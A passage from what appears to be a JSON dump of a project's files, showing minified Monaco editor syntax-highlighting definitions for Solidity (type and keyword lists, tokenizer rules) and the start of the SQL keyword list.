",\"ufixed16x96\",\"ufixed16x104\",\"ufixed16x112\",\"ufixed16x120\",\"ufixed16x128\",\"ufixed16x136\",\"ufixed16x144\",\"ufixed16x152\",\"ufixed16x160\",\"ufixed16x168\",\"ufixed16x176\",\"ufixed16x184\",\"ufixed16x192\",\"ufixed16x200\",\"ufixed16x208\",\"ufixed16x216\",\"ufixed16x224\",\"ufixed16x232\",\"ufixed16x240\",\"ufixed24x8\",\"ufixed24x16\",\"ufixed24x24\",\"ufixed24x32\",\"ufixed24x40\",\"ufixed24x48\",\"ufixed24x56\",\"ufixed24x64\",\"ufixed24x72\",\"ufixed24x80\",\"ufixed24x88\",\"ufixed24x96\",\"ufixed24x104\",\"ufixed24x112\",\"ufixed24x120\",\"ufixed24x128\",\"ufixed24x136\",\"ufixed24x144\",\"ufixed24x152\",\"ufixed24x160\",\"ufixed24x168\",\"ufixed24x176\",\"ufixed24x184\",\"ufixed24x192\",\"ufixed24x200\",\"ufixed24x208\",\"ufixed24x216\",\"ufixed24x224\",\"ufixed24x232\",\"ufixed32x8\",\"ufixed32x16\",\"ufixed32x24\",\"ufixed32x32\",\"ufixed32x40\",\"ufixed32x48\",\"ufixed32x56\",\"ufixed32x64\",\"ufixed32x72\",\"ufixed32x80\",\"ufixed32x88\",\"ufixed32x96\",\"ufixed32x104\",\"ufixed32x112\",\"ufixed32x120\",\"ufixed32x128\",\"ufixed32x136\",\"ufixed32x144\",\"ufixed32x152\",\"ufixed32x160\",\"ufixed32x168\",\"ufixed32x176\",\"ufixed32x184\",\"ufixed32x192\",\"ufixed32x200\",\"ufixed32x208\",\"ufixed32x216\",\"ufixed32x224\",\"ufixed40x8\",\"ufixed40x16\",\"ufixed40x24\",\"ufixed40x32\",\"ufixed40x40\",\"ufixed40x48\",\"ufixed40x56\",\"ufixed40x64\",\"ufixed40x72\",\"ufixed40x80\",\"ufixed40x88\",\"ufixed40x96\",\"ufixed40x104\",\"ufixed40x112\",\"ufixed40x120\",\"ufixed40x128\",\"ufixed40x136\",\"ufixed40x144\",\"ufixed40x152\",\"ufixed40x160\",\"ufixed40x168\",\"ufixed40x176\",\"ufixed40x184\",\"ufixed40x192\",\"ufixed40x200\",\"ufixed40x208\",\"ufixed40x216\",\"ufixed48x8\",\"ufixed48x16\",\"ufixed48x24\",\"ufixed48x32\",\"ufixed48x40\",\"ufixed48x48\",\"ufixed48x56\",\"ufixed48x64\",\"ufixed48x72\",\"ufixed48x80\",\"ufixed48x88\",\"ufixed48x96\",\"ufixed48x104\",\"ufixed48x112\",\"ufixed48x120\",\"ufixed48x128\",\"ufixed48x136\",\"ufixed48x144\",\"ufixed48x152\",\"ufixed48x160\",\"ufixed48x168\",\"ufixed48x176\",\"ufixed48x184\",\"ufixed48x192\",\"ufixed48x200\",\"ufixed48x208\",\"ufixed56x8\",\"ufixed56x16\",\"ufixed56x24\",\"ufixed56x32\",\"ufixed56x40\",\"ufixed56x48\",\"ufixed56x56\",\"ufixed56x64\",\"ufixed56x72\",\"ufixed56x80\",\"ufixed56x88\",\"ufixed56x96\",\"ufixed56x104\",\"ufixed56x112\",\"ufixed56x120\",\"ufixed56x128\",\"ufixed56x136\",\"ufixed56x144\",\"ufixed56x152\",\"ufixed56x160\",\"ufixed56x168\",\"ufixed56x176\",\"ufixed56x184\",\"ufixed56x192\",\"ufixed56x200\",\"ufixed64x8\",\"ufixed64x16\",\"ufixed64x24\",\"ufixed64x32\",\"ufixed64x40\",\"ufixed64x48\",\"ufixed64x56\",\"ufixed64x64\",\"ufixed64x72\",\"ufixed64x80\",\"ufixed64x88\",\"ufixed64x96\",\"ufixed64x104\",\"ufixed64x112\",\"ufixed64x120\",\"ufixed64x128\",\"ufixed64x136\",\"ufixed64x144\",\"ufixed64x152\",\"ufixed64x160\",\"ufixed64x168\",\"ufixed64x176\",\"ufixed64x184\",\"ufixed64x192\",\"ufixed72x8\",\"ufixed72x16\",\"ufixed72x24\",\"ufixed72x32\",\"ufixed72x40\",\"ufixed72x48\",\"ufixed72x56\",\"ufixed72x64\",\"ufixed72x72\",\"ufixed72x80\",\"ufixed72x88\",\"ufixed72x96\",\"ufixed72x104\",\"ufixed72x112\",\"ufixed72x120\",\"ufixed72x128\",\"ufixed72x136\",\"ufixed72x144\",\"ufixed72x152\",\"ufixed72x160\",\"ufixed72x168\",\"ufixed72x176\",\"ufixed72x184\",\"ufixed80x8\",\"ufixed80x16\",\"ufixed80x24\",\"ufixed80x32\",\"ufixed80x40\",\"ufixed80x48\",\"ufixed80x56\",\"ufixed80x64\",\"ufixed80x72\",\"ufixed80x80\",\"ufixed80x88\",\"ufixed80x96\",\"ufixed80x104\",\"ufixed80x112\",\"ufixed80x120\",\"ufixed80x128\",\"ufixed80x136\",\"ufixed80x144\",\"ufixed80x152\",\"ufixed80x160\",\"ufixed80x168\",\"ufixed80x176\",\"ufixed88x8\",\"ufixed88x16\",\"ufixed88x24\",\"ufixed88x32\",\"ufixed88x40\",\"ufixed88x48\",\"ufixed88x56\",\"ufixed88x64\",\"ufixed88x72\",\"ufixed88x80\",\"ufixed88x88\",\"ufixed88x96\",\"ufixed88x104\",\"ufixed88x112\",\"ufixed88x120\",\"ufixed88x128\",\"ufixed88x136\",\"ufixed88x144\",\"ufixed88x152\",\"ufixed88x160\",\"ufixed88x168\",\"ufixed96x8\",\"ufixed96x16\",\"ufixed96x24\",\"ufixed96x32\",\"ufixed96x40\",\"ufixed96x48\",\"ufixed96x56\",\"ufixed96x64\",\"ufixed96x72\",\"ufixed96x80\",\"ufixed96x88\",\"ufixed96x96\",\"ufixed96x104\",\"ufixed96x112\",\"ufixed96x120\",\"ufixed96x128\",\"ufixed96x136\",\"ufixed96x144\",\"ufixed96x152\",\"ufixed96x160\",\"ufixed104x8\",\"ufixed104x16\",\"ufixed104x24\",\"ufixed104x32\",\"ufixed104x40\",\"ufixed104x48\",\"ufixed104x56\",\"ufixed104x64\",\"ufixed104x72\",\"ufixed104x80\",\"ufixed104x88\",\"ufixed104x96\",\"ufixed104x104\",\"ufixed104x112\",\"ufixed104x120\",\"ufixed104x128\",\"ufixed104x136\",\"ufixed104x144\",\"ufixed104x152\",\"ufixed112x8\",\"ufixed112x16\",\"ufixed112x24\",\"ufixed112x32\",\"ufixed112x40\",\"ufixed112x48\",\"ufixed112x56\",\"ufixed112x64\",\"ufixed112x72\",\"ufixed112x80\",\"ufixed112x88\",\"ufixed112x96\",\"ufixed112x104\",\"ufixed112x112\",\"ufixed112x120\",\"ufixed112x128\",\"ufixed112x136\",\"ufixed112x144\",\"ufixed120x8\",\"ufixed120x16\",\"ufixed120x24\",\"ufixed120x32\",\"ufixed120x40\",\"ufixed120x48\",\"ufixed120x56\",\"ufixed120x64\",\"ufixed120x72\",\"ufixed120x80\",\"ufixed120x88\",\"ufixed120x96\",\"ufixed120x104\",\"ufixed120x112\",\"ufixed120x120\",\"ufixed120x128\",\"ufixed120x136\",\"ufixed128x8\",\"ufixed128x16\",\"ufixed128x24\",\"ufixed128x32\",\"ufixed128x40\",\"ufixed128x48\",\"ufixed128x56\",\"ufixed128x64\",\"ufixed128x72\",\"ufixed128x80\",\"ufixed128x88\",\"ufixed128x96\",\"ufixed128x104\",\"ufixed128x112\",\"ufixed128x120\",\"ufixed128x128\",\"ufixed136x8\",\"ufixed136x16\",\"ufixed136x24\",\"ufixed136x32\",\"ufixed136x40\",\"ufixed136x48\",\"ufixed136x56\",\"ufixed136x64\",\"ufixed136x72\",\"ufixed136x80\",\"ufixed136x88\",\"ufixed136x96\",\"ufixed136x104\",\"ufixed136x112\",\"ufixed136x120\",\"ufixed144x8\",\"ufixed144x16\",\"ufixed144x24\",\"ufixed144x32\",\"ufixed144x40\",\"ufixed144x48\",\"ufixed144x56\",\"ufixed144x64\",\"ufixed144x72\",\"ufixed144x80\",\"ufixed144x88\",\"ufixed144x96\",\"ufixed144x104\",\"ufixed144x112\",\"ufixed152x8\",\"ufixed152x16\",\"ufixed152x24\",\"ufixed152x32\",\"ufixed152x40\",\"ufixed152x48\",\"ufixed152x56\",\"ufixed152x64\",\"ufixed152x72\",\"ufixed152x80\",\"ufixed152x88\",\"ufixed152x96\",\"ufixed152x104\",\"ufixed160x8\",\"ufixed160x16\",\"ufixed160x24\",\"ufixed160x32\",\"ufixed160x40\",\"ufixed160x48\",\"ufixed160x56\",\"ufixed160x64\",\"ufixed160x72\",\"ufixed160x80\",\"ufixed160x88\",\"ufixed160x96\",\"ufixed168x8\",\"ufixed168x16\",\"ufixed168x24\",\"ufixed168x32\",\"ufixed168x40\",\"ufixed168x48\",\"ufixed168x56\",\"ufixed168x64\",\"ufixed168x72\",\"ufixed168x80\",\"ufixed168x88\",\"ufixed176x8\",\"ufixed176x16\",\"ufixed176x24\",\"ufixed176x32\",\"ufixed176x40\",\"ufixed176x48\",\"ufixed176x56\",\"ufixed176x64\",\"ufixed176x72\",\"ufixed176x80\",\"ufixed184x8\",\"ufixed184x16\",\"ufixed184x24\",\"ufixed184x32\",\"ufixed184x40\",\"ufixed184x48\",\"ufixed184x56\",\"ufixed184x64\",\"ufixed184x72\",\"ufixed192x8\",\"ufixed192x16\",\"ufixed192x24\",\"ufixed192x32\",\"ufixed192x40\",\"ufixed192x48\",\"ufixed192x56\",\"ufixed192x64\",\"ufixed200x8\",\"ufixed200x16\",\"ufixed200x24\",\"ufixed200x32\",\"ufixed200x40\",\"ufixed200x48\",\"ufixed200x56\",\"ufixed208x8\",\"ufixed208x16\",\"ufixed208x24\",\"ufixed208x32\",\"ufixed208x40\",\"ufixed208x48\",\"ufixed216x8\",\"ufixed216x16\",\"ufixed216x24\",\"ufixed216x32\",\"ufixed216x40\",\"ufixed224x8\",\"ufixed224x16\",\"ufixed224x24\",\"ufixed224x32\",\"ufixed232x8\",\"ufixed232x16\",\"ufixed232x24\",\"ufixed240x8\",\"ufixed240x16\",\"ufixed248x8\",\"event\",\"enum\",\"let\",\"mapping\",\"private\",\"public\",\"external\",\"inherited\",\"payable\",\"true\",\"false\",\"var\",\"import\",\"constant\",\"if\",\"else\",\"for\",\"else\",\"for\",\"while\",\"do\",\"break\",\"continue\",\"throw\",\"returns\",\"return\",\"suicide\",\"new\",\"is\",\"this\",\"super\"],operators:[\"=\",\">\",\"<\",\"!\",\"~\",\"?\",\":\",\"==\",\"<=\",\">=\",\"!=\",\"&&\",\"||\",\"++\",\"--\",\"+\",\"-\",\"*\",\"/\",\"&\",\"|\",\"^\",\"%\",\"<<\",\">>\",\">>>\",\"+=\",\"-=\",\"*=\",\"/=\",\"&=\",\"|=\",\"^=\",\"%=\",\"<<=\",\">>=\",\">>>=\"],symbols:/[=><!~?:&|+\\-*\\/\\^%]+/,escapes:/\\\\(?:[abfnrtv\\\\\"']|x[0-9A-Fa-f]{1,4}|u[0-9A-Fa-f]{4}|U[0-9A-Fa-f]{8})/,integersuffix:/(ll|LL|u|U|l|L)?(ll|LL|u|U|l|L)?/,floatsuffix:/[fFlL]?/,tokenizer:{root:[[/[a-zA-Z_]\\w*/,{cases:{\"@keywords\":{token:\"keyword.$0\"},\"@default\":\"identifier\"}}],{include:\"@whitespace\"},[/\\[\\[.*\\]\\]/,\"annotation\"],[/^\\s*#\\w+/,\"keyword\"],[/int\\d*/,\"keyword\"],[/[{}()\\[\\]]/,\"@brackets\"],[/[<>](?!@symbols)/,\"@brackets\"],[/@symbols/,{cases:{\"@operators\":\"delimiter\",\"@default\":\"\"}}],[/\\d*\\d+[eE]([\\-+]?\\d+)?(@floatsuffix)/,\"number.float\"],[/\\d*\\.\\d+([eE][\\-+]?\\d+)?(@floatsuffix)/,\"number.float\"],[/0[xX][0-9a-fA-F']*[0-9a-fA-F](@integersuffix)/,\"number.hex\"],[/0[0-7']*[0-7](@integersuffix)/,\"number.octal\"],[/0[bB][0-1']*[0-1](@integersuffix)/,\"number.binary\"],[/\\d[\\d']*\\d(@integersuffix)/,\"number\"],[/\\d(@integersuffix)/,\"number\"],[/[;,.]/,\"delimiter\"],[/\"([^\"\\\\]|\\\\.)*$/,\"string.invalid\"],[/\"/,\"string\",\"@string\"],[/'[^\\\\']'/,\"string\"],[/(')(@escapes)(')/,[\"string\",\"string.escape\",\"string\"]],[/'/,\"string.invalid\"]],whitespace:[[/[ \\t\\r\\n]+/,\"\"],[/\\/\\*\\*(?!\\/)/,\"comment.doc\",\"@doccomment\"],[/\\/\\*/,\"comment\",\"@comment\"],[/\\/\\/.*$/,\"comment\"]],comment:[[/[^\\/*]+/,\"comment\"],[/\\*\\//,\"comment\",\"@pop\"],[/[\\/*]/,\"comment\"]],doccomment:[[/[^\\/*]+/,\"comment.doc\"],[/\\*\\//,\"comment.doc\",\"@pop\"],[/[\\/*]/,\"comment.doc\"]],string:[[/[^\\\\\"]+/,\"string\"],[/@escapes/,\"string.escape\"],[/\\\\./,\"string.escape.invalid\"],[/\"/,\"string\",\"@pop\"]]}}});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/basic-languages/src/sql.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-languages version: 0.9.0(e162b4ba29044167bc7181c42b3270fa8a467424)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\ndefine(\"vs/basic-languages/src/sql\",[\"require\",\"exports\"],function(E,T){\"use strict\";Object.defineProperty(T,\"__esModule\",{value:!0}),T.conf={comments:{lineComment:\"--\",blockComment:[\"/*\",\"*/\"]},brackets:[[\"{\",\"}\"],[\"[\",\"]\"],[\"(\",\")\"]],autoClosingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"'},{open:\"'\",close:\"'\"}],surroundingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"'},{open:\"'\",close:\"'\"}]},T.language={defaultToken:\"\",tokenPostfix:\".sql\",ignoreCase:!0,brackets:[{open:\"[\",close:\"]\",token:\"delimiter.square\"},{open:\"(\",close:\")\",token:\"delimiter.parenthesis\"}],keywords:[\"ABORT_AFTER_WAIT\",\"ABSENT\",\"ABSOLUTE\",\"ACCENT_SENSITIVITY\",\"ACTION\",\"ACTIVATION\",\"ACTIVE\",\"ADD\",\"ADDRESS\",\"ADMIN\",\"AES\",\"AES_128\",\"AES_192\",\"AES_256\",\"AFFINITY\",\"AFTER\",\"AGGREGATE\",\"ALGORITHM\",\"ALL_CONSTRAINTS\",\"ALL_ERRORMSGS\",\"ALL_INDEXES\",\"ALL_LEVELS\",\"ALL_SPARSE_COLUMNS\",\"ALLOW_CONNECTIONS\",\"ALLOW_MULTIPLE_EVENT_LOSS\",\"ALLOW_PAGE_LOCKS\",\"ALLOW_ROW_LOCKS\",\"ALLOW_SINGLE_EVENT_LOSS\",\"ALLOW_SNAPSHOT_ISOLATION\",\"ALLOWED\",\"ALTER\",\"ANONYMOUS\",\"ANSI_DEFAULTS\",\"ANSI_NULL_DEFAULT\",\"ANSI_NULL_DFLT_OFF\",\"ANSI_NULL_DFLT_ON\",\"ANSI_NULLS\",\"ANSI_PADDING\",\"ANSI_WARNINGS\",\"APPEND\",\"APPLICATION\",\"APPLICATION_LOG\",\"ARITHABORT\",\"ARITHIGNORE\",\"AS\",\"ASC\",\"ASSEMBLY\",\"ASYMMETRIC\",\"ASYNCHRONOUS_COMMIT\",\"AT\",\"ATOMIC\",\"ATTACH\",\"ATTACH_REBUILD_LOG\",\"AUDIT\",\"AUDIT_GUID\",\"AUTHENTICATION\",\"AUTHORIZATION\",\"AUTO\",\"AUTO_CLEANUP\",\"AUTO_CLOSE\",\"AUTO_CREATE_STATISTICS\",\"AUTO_SHRINK\",\"AUTO_UPDATE_STATISTICS\",\"AUTO_UPDATE_STATISTICS_ASYNC\",\"AUTOMATED_BACKUP_PREFERENCE\",\"AUTOMATIC\",\"AVAILABILITY\",\"AVAILABILITY_MODE\",\"BACKUP\",\"BACKUP_PRIORITY\",\"BASE64\",\"BATCHSIZE\",\"BEGIN\",\"BEGIN_DIALOG\",\"BIGINT\",\"BINARY\",\"BINDING\",\"BIT\",\"BLOCKERS\",\"BLOCKSIZE\",\"BOUNDING_BOX\",\"BREAK\",\"BROKER\",\"BROKER_INSTANCE\",\"BROWSE\",\"BUCKET_COUNT\",\"BUFFER\",\"BUFFERCOUNT\",\"BULK\",\"BULK_LOGGED\",\"BY\",\"CACHE\",\"CALL\",\"CALLED\",\"CALLER\",\"CAP_CPU_PERCENT\",\"CASCADE\",\"CASE\",\"CATALOG\",\"CATCH\",\"CELLS_PER_OBJECT\",\"CERTIFICATE\",\"CHANGE_RETENTION\",\"CHANGE_TRACKING\",\"CHANGES\",\"CHAR\",\"CHARACTER\",\"CHECK\",\"CHECK_CONSTRAINTS\",\"CHECK_EXPIRATION\",\"CHECK_POLICY\",\"CHECKALLOC\",\"CHECKCATALOG\",\"CHECKCONSTRAINTS\",\"CHECKDB\",\"CHECKFILEGROUP\",\"CHECKIDENT\",\"CHECKPOINT\",\"CHECKTABLE\",\"CLASSIFIER_FUNCTION\",\"CLEANTABLE\",\"CLEANUP\",\"CLEAR\",\"CLOSE\",\"CLUSTER\",\"CLUSTERED\",\"CODEPAGE\",\"COLLATE\",\"COLLECTION\",\"COLUMN\",\"COLUMN_SET\",\"COLUMNS\",\"COLUMNSTORE\",\"COLUMNSTORE_ARCHIVE\",\"COMMIT\",\"COMMITTED\",\"COMPATIBILITY_LEVEL\",\"COMPRESSION\",\"COMPUTE\",\"CONCAT\",\"CONCAT_NULL_YIELDS_NULL\",\"CONFIGURATION\",\"CONNECT\",\"CONSTRAINT\",\"CONTAINMENT\",\"CONTENT\",\"CONTEXT\",\"CONTINUE\",\"CONTINUE_AFTER_ERROR\",\"CONTRACT\",\"CONTRACT_NAME\",\"CONTROL\",\"CONVERSATION\",\"COOKIE\",\"COPY_ONLY\",\"COUNTER\",\"CPU\",\"CREATE\",\"CREATE_NEW\",\"CREATION_DISPOSITION\",\"CREDENTIAL\",\"CRYPTOGRAPHIC\",\"CUBE\",\"CURRENT\",\"CURRENT_DATE\",\"CURSOR\",\"CURSOR_CLOSE_ON_COMMIT\",\"CURSOR_DEFAULT\",\"CYCLE\",\"DATA\",\"DATA_COMPRESSION\",\"DATA_PURITY\",\"DATABASE\",\"DATABASE_DEFAULT\",\"DATABASE_MIRRORING\",\"DATABASE_SNAPSHOT\",\"DATAFILETYPE\",\"DATE\",\"DATE_CORRELATION_OPTIMIZATION\",\"DATEFIRST\",\"DATEFORMAT\",\"DATETIME\",\"DATETIME2\",\"DATETIMEOFFSET\",\"DAY\",\"DAYOFYEAR\",\"DAYS\",\"DB_CHAINING\",\"DBCC\",\"DBREINDEX\",\"DDL_DATABASE_LEVEL_EVENTS\",\"DEADLOCK_PRIORITY\",\"DEALLOCATE\",\"DEC\",\"DECIMAL\",\"DECLARE\",\"DECRYPTION\",\"DEFAULT\",\"DEFAULT_DATABASE\",\"DEFAULT_FULLTEXT_LANGUAGE\",\"DEFAULT_LANGUAGE\",\"DEFAULT_SCHEMA\",\"DEFINITION\",\"DELAY\",\"DELAYED_DURABILITY\",\"DELETE\",\"DELETED\",\"DENSITY_VECTOR\",\"DENY\",\"DEPENDENTS\",\"DES\",\"DESC\",\"DESCRIPTION\",\"DESX\",\"DHCP\",\"DIAGNOSTICS\",\"DIALOG\",\"DIFFERENTIAL\",\"DIRECTORY_NAME\",\"DISABLE\",\"DISABLE_BROKER\",\"DISABLED\",\"DISK\",\"DISTINCT\",\"DISTRIBUTED\",\"DOCUMENT\",\"DOUBLE\",\"DROP\",\"DROP_EXISTING\",\"DROPCLEANBUFFERS\",\"DUMP\",\"DURABILITY\",\"DYNAMIC\",\"EDITION\",\"ELEMENTS\",\"ELSE\",\"EMERGENCY\",\"EMPTY\",\"EMPTYFILE\",\"ENABLE\",\"ENABLE_BROKER\",\"ENABLED\",\"ENCRYPTION\",\"END\",\"ENDPOINT\",\"ENDPOINT_URL\",\"ERRLVL\",\"ERROR\",\"ERROR_BROKER_CONVERSATIONS\",\"ERRORFILE\",\"ESCAPE\",\"ESTIMATEONLY\",\"EVENT\",\"EVENT_RETENTION_MODE\",\"EXEC\",\"EXECUTABLE\",\"EXECUTE\",\"EXIT\",\"EXPAND\",\"EXPIREDATE\",\"EXPIRY_DATE\",\"EXPLICIT\",\"EXTENDED_LOGICAL_CHECKS\",\"EXTENSION\",\"EXTERNAL\",\"EXTERNAL_ACCESS\",\"FAIL_OPERATION\",\"FAILOVER\",\"FAILOVER_MODE\",\"FAILURE_CONDITION_LEVEL\",\"FALSE\",\"FAN_IN\",\"FAST\",\"FAST_FORWARD\",\"FETCH\",\"FIELDTERMINATOR\",\"FILE\",\"FILEGROUP\",\"FILEGROWTH\",\"FILELISTONLY\",\"FILENAME\",\"FILEPATH\",\"FILESTREAM\",\"FILESTREAM_ON\",\"FILETABLE_COLLATE_FILENAME\",\"FILETABLE_DIRECTORY\",\"FILETABLE_FULLPATH_UNIQUE_CONSTRAINT_NAME\",\"FILETABLE_NAMESPACE\",\"FILETABLE_PRIMARY_KEY_CONSTRAINT_NAME\",\"FILETABLE_STREAMID_UNIQUE_CONSTRAINT_NAME\",\"FILLFACTOR\",\"FILTERING\",\"FIRE_TRIGGERS\",\"FIRST\",\"FIRSTROW\",\"FLOAT\",\"FMTONLY\",\"FOLLOWING\",\"FOR\",\"FORCE\",\"FORCE_FAILOVER_ALLOW_DATA_LOSS\",\"FORCE_SERVICE_ALLOW_DATA_LOSS\",\"FORCED\",\"FORCEPLAN\",\"FORCESCAN\",\"FORCESEEK\",\"FOREIGN\",\"FORMATFILE\",\"FORMSOF\",\"FORWARD_ONLY\",\"FREE\",\"FREEPROCCACHE\",\"FREESESSIONCACHE\",\"FREESYSTEMCACHE\",\"FROM\",\"FULL\",\"FULLSCAN\",\"FULLTEXT\",\"FUNCTION\",\"GB\",\"GEOGRAPHY_AUTO_GRID\",\"GEOGRAPHY_GRID\",\"GEOMETRY_AUTO_GRID\",\"GEOMETRY_GRID\",\"GET\",\"GLOBAL\",\"GO\",\"GOTO\",\"GOVERNOR\",\"GRANT\",\"GRIDS\",\"GROUP\",\"GROUP_MAX_REQUESTS\",\"HADR\",\"HASH\",\"HASHED\",\"HAVING\",\"HEADERONLY\",\"HEALTH_CHECK_TIMEOUT\",\"HELP\",\"HIERARCHYID\",\"HIGH\",\"HINT\",\"HISTOGRAM\",\"HOLDLOCK\",\"HONOR_BROKER_PRIORITY\",\"HOUR\",\"HOURS\",\"IDENTITY\",\"IDENTITY_INSERT\",\"IDENTITY_VALUE\",\"IDENTITYCOL\",\"IF\",\"IGNORE_CONSTRAINTS\",\"IGNORE_DUP_KEY\",\"IGNORE_NONCLUSTERED_COLUMNSTORE_INDEX\",\"IGNORE_TRIGGERS\",\"IMAGE\",\"IMMEDIATE\",\"IMPERSONATE\",\"IMPLICIT_TRANSACTIONS\",\"IMPORTANCE\",\"INCLUDE\",\"INCREMENT\",\"INCREMENTAL\",\"INDEX\",\"INDEXDEFRAG\",\"INFINITE\",\"INFLECTIONAL\",\"INIT\",\"INITIATOR\",\"INPUT\",\"INPUTBUFFER\",\"INSENSITIVE\",\"INSERT\",\"INSERTED\",\"INSTEAD\",\"INT\",\"INTEGER\",\"INTO\",\"IO\",\"IP\",\"ISABOUT\",\"ISOLATION\",\"JOB\",\"KB\",\"KEEP\",\"KEEP_CDC\",\"KEEP_NULLS\",\"KEEP_REPLICATION\",\"KEEPDEFAULTS\",\"KEEPFIXED\",\"KEEPIDENTITY\",\"KEEPNULLS\",\"KERBEROS\",\"KEY\",\"KEY_SOURCE\",\"KEYS\",\"KEYSET\",\"KILL\",\"KILOBYTES_PER_BATCH\",\"LABELONLY\",\"LANGUAGE\",\"LAST\",\"LASTROW\",\"LEVEL\",\"LEVEL_1\",\"LEVEL_2\",\"LEVEL_3\",\"LEVEL_4\",\"LIFETIME\",\"LIMIT\",\"LINENO\",\"LIST\",\"LISTENER\",\"LISTENER_IP\",\"LISTENER_PORT\",\"LOAD\",\"LOADHISTORY\",\"LOB_COMPACTION\",\"LOCAL\",\"LOCAL_SERVICE_NAME\",\"LOCK_ESCALATION\",\"LOCK_TIMEOUT\",\"LOGIN\",\"LOGSPACE\",\"LOOP\",\"LOW\",\"MANUAL\",\"MARK\",\"MARK_IN_USE_FOR_REMOVAL\",\"MASTER\",\"MAX_CPU_PERCENT\",\"MAX_DISPATCH_LATENCY\",\"MAX_DOP\",\"MAX_DURATION\",\"MAX_EVENT_SIZE\",\"MAX_FILES\",\"MAX_IOPS_PER_VOLUME\",\"MAX_MEMORY\",\"MAX_MEMORY_PERCENT\",\"MAX_QUEUE_READERS\",\"MAX_ROLLOVER_FILES\",\"MAX_SIZE\",\"MAXDOP\",\"MAXERRORS\",\"MAXLENGTH\",\"MAXRECURSION\",\"MAXSIZE\",\"MAXTRANSFERSIZE\",\"MAXVALUE\",\"MB\",\"MEDIADESCRIPTION\",\"MEDIANAME\",\"MEDIAPASSWORD\",\"MEDIUM\",\"MEMBER\",\"MEMORY_OPTIMIZED\",\"MEMORY_OPTIMIZED_DATA\",\"MEMORY_OPTIMIZED_ELEVATE_TO_SNAPSHOT\",\"MEMORY_PARTITION_MODE\",\"MERGE\",\"MESSAGE\",\"MESSAGE_FORWARD_SIZE\",\"MESSAGE_FORWARDING\",\"MICROSECOND\",\"MILLISECOND\",\"MIN_CPU_PERCENT\",\"MIN_IOPS_PER_VOLUME\",\"MIN_MEMORY_PERCENT\",\"MINUTE\",\"MINUTES\",\"MINVALUE\",\"MIRROR\",\"MIRROR_ADDRESS\",\"MODIFY\",\"MONEY\",\"MONTH\",\"MOVE\",\"MULTI_USER\",\"MUST_CHANGE\",\"NAME\",\"NANOSECOND\",\"NATIONAL\",\"NATIVE_COMPILATION\",\"NCHAR\",\"NEGOTIATE\",\"NESTED_TRIGGERS\",\"NEW_ACCOUNT\",\"NEW_BROKER\",\"NEW_PASSWORD\",\"NEWNAME\",\"NEXT\",\"NO\",\"NO_BROWSETABLE\",\"NO_CHECKSUM\",\"NO_COMPRESSION\",\"NO_EVENT_LOSS\",\"NO_INFOMSGS\",\"NO_TRUNCATE\",\"NO_WAIT\",\"NOCHECK\",\"NOCOUNT\",\"NOEXEC\",\"NOEXPAND\",\"NOFORMAT\",\"NOINDEX\",\"NOINIT\",\"NOLOCK\",\"NON\",\"NON_TRANSACTED_ACCESS\",\"NONCLUSTERED\",\"NONE\",\"NORECOMPUTE\",\"NORECOVERY\",\"NORESEED\",\"NORESET\",\"NOREWIND\",\"NORMAL\",\"NOSKIP\",\"NOTIFICATION\",\"NOTRUNCATE\",\"NOUNLOAD\",\"NOWAIT\",\"NTEXT\",\"NTLM\",\"NUMANODE\",\"NUMERIC\",\"NUMERIC_ROUNDABORT\",\"NVARCHAR\",\"OBJECT\",\"OF\",\"OFF\",\"OFFLINE\",\"OFFSET\",\"OFFSETS\",\"OLD_ACCOUNT\",\"OLD_PASSWORD\",\"ON\",\"ON_FAILURE\",\"ONLINE\",\"ONLY\",\"OPEN\",\"OPEN_EXISTING\",\"OPENTRAN\",\"OPTIMISTIC\",\"OPTIMIZE\",\"OPTION\",\"ORDER\",\"OUT\",\"OUTPUT\",\"OUTPUTBUFFER\",\"OVER\",\"OVERRIDE\",\"OWNER\",\"OWNERSHIP\",\"PAD_INDEX\",\"PAGE\",\"PAGE_VERIFY\",\"PAGECOUNT\",\"PAGLOCK\",\"PARAMETERIZATION\",\"PARSEONLY\",\"PARTIAL\",\"PARTITION\",\"PARTITIONS\",\"PARTNER\",\"PASSWORD\",\"PATH\",\"PER_CPU\",\"PER_NODE\",\"PERCENT\",\"PERMISSION_SET\",\"PERSISTED\",\"PHYSICAL_ONLY\",\"PLAN\",\"POISON_MESSAGE_HANDLING\",\"POOL\",\"POPULATION\",\"PORT\",\"PRECEDING\",\"PRECISION\",\"PRIMARY\",\"PRIMARY_ROLE\",\"PRINT\",\"PRIOR\",\"PRIORITY\",\"PRIORITY_LEVEL\",\"PRIVATE\",\"PRIVILEGES\",\"PROC\",\"PROCCACHE\",\"PROCEDURE\",\"PROCEDURE_NAME\",\"PROCESS\",\"PROFILE\",\"PROPERTY\",\"PROPERTY_DESCRIPTION\",\"PROPERTY_INT_ID\",\"PROPERTY_SET_GUID\",\"PROVIDER\",\"PROVIDER_KEY_NAME\",\"PUBLIC\",\"PUT\",\"QUARTER\",\"QUERY\",\"QUERY_GOVERNOR_COST_LIMIT\",\"QUEUE\",\"QUEUE_DELAY\",\"QUOTED_IDENTIFIER\",\"RAISERROR\",\"RANGE\",\"RAW\",\"RC2\",\"RC4\",\"RC4_128\",\"READ\",\"READ_COMMITTED_SNAPSHOT\",\"READ_ONLY\",\"READ_ONLY_ROUTING_LIST\",\"READ_ONLY_ROUTING_URL\",\"READ_WRITE\",\"READ_WRITE_FILEGROUPS\",\"READCOMMITTED\",\"READCOMMITTEDLOCK\",\"READONLY\",\"READPAST\",\"READTEXT\",\"READUNCOMMITTED\",\"READWRITE\",\"REAL\",\"REBUILD\",\"RECEIVE\",\"RECOMPILE\",\"RECONFIGURE\",\"RECOVERY\",\"RECURSIVE\",\"RECURSIVE_TRIGGERS\",\"REFERENCES\",\"REGENERATE\",\"RELATED_CONVERSATION\",\"RELATED_CONVERSATION_GROUP\",\"RELATIVE\",\"REMOTE\",\"REMOTE_PROC_TRANSACTIONS\",\"REMOTE_SERVICE_NAME\",\"REMOVE\",\"REORGANIZE\",\"REPAIR_ALLOW_DATA_LOSS\",\"REPAIR_FAST\",\"REPAIR_REBUILD\",\"REPEAT